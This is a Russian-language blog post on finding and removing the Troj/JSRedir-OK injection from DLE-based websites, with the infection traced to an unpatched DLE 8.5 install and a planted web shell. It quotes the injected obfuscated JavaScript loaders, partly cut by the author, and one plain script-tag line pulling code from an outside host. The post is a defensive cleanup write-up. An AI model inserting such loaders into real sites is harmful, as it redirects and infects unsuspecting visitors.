удаление вируса Troj/JSRedir-OK

Обратился клиент с просьбой поискать вирусы на аккаунте хостинга. Все сайты DLE.
Вердикт Яндекс показал Troj/JSRedir-OK.
Поиск на просторах особо ничего не дал, но как понятно из названия вердикта это вставка в яваскрипте/ах.

Искать долго не пришлось. Причиной была вставка

<!-- js-tools -->
v=0;while(v<62)document.write(String.fromCharCode('=tdsjqu!tsd>#iuuq;00{b.j{pcjmj
.....
#?=0tdsjqu?'.charCodeAt(v++)-1))
<!-- /js-tools -->

и разновидности

<!-- js-tools -->
k=0;while(k<92)document.write(String.fromCharCode('=tdsjqu!tsd>#iuuq;00rrr/bmfy{bw/
.....
#?=0tdsjqu?'.charCodeAt(k++)-1))
<!-- /js-tools -->
<!-- js-tools -->
document.write('<script src="//www.welcomerus. com/gfx/stat. php"></script>');
<!-- /js-tools -->
<!-- js-tools -->
o=0;while(o<62)document.write(String.fromCharCode('=tdsjqu!tsd>#iuuq;00xxx/xfmdpnf
.....
/qiq#?=0tdsjqu?'.charCodeAt(o++)-1))
<!-- /js-tools -->

* — по соображениям безопасности часть кода удалена.
Проверяем все яваскрипты на наличие похожих вставок и удаляем их.
Причиной, как это часто бывает, оказался не закрытый патчами безопасности движок DLE (причем очень старой версии 8.5, удивительно как он так долго продержался :-) ) на одном из сайтов, через который залили шелл-скрипт и разместили вставки в скриптах.
Не поленитесь закрыть уязвимости :-) Это уменьшит количество ненужных вам проблем.
Кстати для поиска вставок удобно использовать скрипт replace.php (но редактировать файлы лучше вручную), ищите на просторах ;-)

Скажите свое мнение

ваш email не публикуется. обязательно *

;-) :yawn: :whew: :toivo: :tmi: :time: :thinking: :talking: :sweating: :swear: :sun: :star: :smoke: :smirk: :sleepy: :skype: :shock: :shake: :rofl: :rain: :punch: :puke: :poolparty: :pizza: :phone: :party: :oops: :nod: :no: :ninja: :neutral: :nerd: :music: :muscle: :mrgreen: :movie: :mooning: :mmm: :middlefinger: :makeup: :mail: :mad: :lol: :lipssealed: :kiss: :itwashtme: :inlove: :idea: :hi: :heidy: :heart: :headbang: :happy: :handshake: :giggle: :fubar: :flower: :evilgrin: :emo: :dull: :drunk: :drink: :doh: :devil: :dance: :cry: :cool: :coffie: :clapping: :cash: :call: :cake: :bug: :brokenheart: :bow: :blush: :beer: :bear: :bandit: :arrow: :angry: :angel: :^) :???: :?: :-| :-o :-P :-D :-) :-( :!:

 

*

code

Этот сайт использует Akismet для борьбы со спамом. Узнайте как обрабатываются ваши данные комментариев.